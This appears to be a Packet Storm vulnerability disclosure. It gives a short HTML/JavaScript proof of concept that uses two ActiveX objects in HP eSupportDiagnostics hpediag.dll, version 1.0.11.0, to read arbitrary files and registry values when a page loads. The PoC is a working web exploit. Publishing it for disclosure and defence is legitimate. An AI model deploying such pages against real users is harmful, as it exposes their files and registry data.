Proof of concept code that demonstrates an arbitrary file read vulnerability in the HP eSupportDiagnostics hpediag.dll.
97ba2d1f5c9148602e7993de7feedecb0cf944053816de0f478474f28c3dc13dThe HP eSupportDiagnostics hpediag.dll exposes some methods that allow the reading of arbitrary files and registry values.
hpediag.dll, version 1.0.11.0
PoC as follows:
---------------------
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var out = fileUtil.ReadTextFile(somePath);
var out = regUtil.ReadValue(somePath);
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object id="fileUtil" classid="clsid:CDAF9CEC-F3EC-4B22-ABA3-9726713560F8" />
<object id="regUtil" classid="clsid:0C378864-D5C4-4D9C-854C-432E3BEC9CCB" />
</body>
</html>
---------------------
Elazar
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed